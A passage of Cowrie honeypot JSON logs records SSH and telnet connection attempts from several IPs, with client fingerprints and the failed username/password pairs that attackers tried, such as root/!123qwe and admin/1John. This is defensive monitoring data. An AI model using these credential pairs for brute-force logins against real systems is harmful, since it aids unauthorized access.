-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:04:21.507704Z","src_ip":"159.203.92.129","session":"1869d90aeb37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"abcc","password":"abcc","message":"login attempt [abcc/abcc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:04:21.524753Z","src_ip":"159.203.92.129","session":"1869d90aeb37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:04:22.546416Z","src_ip":"159.203.92.129","session":"1869d90aeb37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00384330749512,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:04:54.756450Z","src_ip":"185.15.67.94","session":"c741b22ff525","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.67.94","src_port":40366,"dst_ip":"159.203.135.109","dst_port":23,"session":"16700b9eb438","protocol":"telnet","message":"New connection: 185.15.67.94:40366 (159.203.135.109:23) [session: 16700b9eb438]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:04:59.206881Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":40286,"dst_ip":"159.203.135.109","dst_port":22,"session":"2da870ff7348","protocol":"ssh","message":"New connection: 159.203.92.129:40286 (159.203.135.109:22) [session: 2da870ff7348]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:05:07.378130Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:05:07.410377Z","src_ip":"159.203.92.129","session":"2da870ff7348","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:05:07.452818Z","src_ip":"159.203.92.129","session":"2da870ff7348","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"abcc","password":"abcc123","message":"login attempt [abcc/abcc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:05:07.565757Z","src_ip":"159.203.92.129","session":"2da870ff7348","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:05:08.609323Z","src_ip":"159.203.92.129","session":"2da870ff7348","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.141.121.10","src_port":22793,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8aaf9e28221","protocol":"telnet","message":"New connection: 190.141.121.10:22793 (10.17.0.5:23) [session: b8aaf9e28221]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:05:34.127387Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":38434,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca829b98d5cb","protocol":"ssh","message":"New connection: 2.57.122.238:38434 (159.203.135.109:22) [session: ca829b98d5cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:05:44.392554Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:05:44.397824Z","src_ip":"2.57.122.238","session":"ca829b98d5cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:05:44.497458Z","src_ip":"2.57.122.238","session":"ca829b98d5cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:05:44.783060Z","src_ip":"2.57.122.238","session":"ca829b98d5cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:05:45.880600Z","src_ip":"2.57.122.238","session":"ca829b98d5cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.47868800163269,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:05:48.605995Z","src_ip":"190.141.121.10","session":"b8aaf9e28221","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":46408,"dst_ip":"159.203.135.109","dst_port":22,"session":"c69e20b46871","protocol":"ssh","message":"New connection: 159.203.92.129:46408 (159.203.135.109:22) [session: c69e20b46871]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:05:52.048136Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:05:52.052973Z","src_ip":"159.203.92.129","session":"c69e20b46871","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:05:52.058023Z","src_ip":"159.203.92.129","session":"c69e20b46871","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"abcd123","password":"abcd123","message":"login attempt [abcd123/abcd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:05:52.072274Z","src_ip":"159.203.92.129","session":"c69e20b46871","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:05:53.083131Z","src_ip":"159.203.92.129","session":"c69e20b46871","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.160.206.186","src_port":40808,"dst_ip":"159.203.135.109","dst_port":22,"session":"de5cdc51086f","protocol":"ssh","message":"New connection: 43.160.206.186:40808 (159.203.135.109:22) [session: de5cdc51086f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:06:17.468103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:06:17.473525Z","src_ip":"43.160.206.186","session":"de5cdc51086f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:06:17.721866Z","src_ip":"43.160.206.186","session":"de5cdc51086f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!123qwe","message":"login attempt [root/!123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:06:18.735404Z","src_ip":"43.160.206.186","session":"de5cdc51086f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:06:19.984857Z","src_ip":"43.160.206.186","session":"de5cdc51086f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":48568,"dst_ip":"159.203.135.109","dst_port":22,"session":"5688411c3d0d","protocol":"ssh","message":"New connection: 159.203.92.129:48568 (159.203.135.109:22) [session: 5688411c3d0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:06:37.406565Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:06:37.413219Z","src_ip":"159.203.92.129","session":"5688411c3d0d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:06:37.418516Z","src_ip":"159.203.92.129","session":"5688411c3d0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"abcd","password":"123","message":"login attempt [abcd/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:06:37.430651Z","src_ip":"159.203.92.129","session":"5688411c3d0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:06:38.483503Z","src_ip":"159.203.92.129","session":"5688411c3d0d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":17999,"dst_ip":"159.203.135.109","dst_port":22,"session":"f1acee016257","protocol":"ssh","message":"New connection: 2.57.121.112:17999 (159.203.135.109:22) [session: f1acee016257]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:06:52.914190Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:06:52.919103Z","src_ip":"2.57.121.112","session":"f1acee016257","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:06:53.019207Z","src_ip":"2.57.121.112","session":"f1acee016257","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.252.82.70","src_port":36406,"dst_ip":"10.17.0.5","dst_port":23,"session":"153ca384fb2a","protocol":"telnet","message":"New connection: 162.252.82.70:36406 (10.17.0.5:23) [session: 153ca384fb2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:06:53.153765Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1John","message":"login attempt [admin/1John] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:06:53.495106Z","src_ip":"2.57.121.112","session":"f1acee016257","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.145.49.9","src_port":57982,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff1e4279865e","protocol":"telnet","message":"New connection: 209.145.49.9:57982 (10.17.0.5:23) [session: ff1e4279865e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:06:54.083307Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1hxboqg2s","message":"login attempt [admin/1hxboqg2s] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:06:54.597460Z","src_ip":"2.57.121.112","session":"f1acee016257","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1Horny","message":"login attempt [admin/1Horny] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:06:55.700065Z","src_ip":"2.57.121.112","session":"f1acee016257","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1Diamond","message":"login attempt [admin/1Diamond] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:06:56.803815Z","src_ip":"2.57.121.112","session":"f1acee016257","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1Bubba","message":"login attempt [admin/1Bubba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:06:57.907537Z","src_ip":"2.57.121.112","session":"f1acee016257","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:06:59.011936Z","src_ip":"2.57.121.112","session":"f1acee016257","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00174307823181,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:06:59.208523Z","src_ip":"185.15.67.94","session":"16700b9eb438","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.160.206.186","src_port":55162,"dst_ip":"159.203.135.109","dst_port":22,"session":"2b7df55144c0","protocol":"ssh","message":"New connection: 43.160.206.186:55162 (159.203.135.109:22) [session: 2b7df55144c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:07:19.423115Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:07:19.427011Z","src_ip":"43.160.206.186","session":"2b7df55144c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve255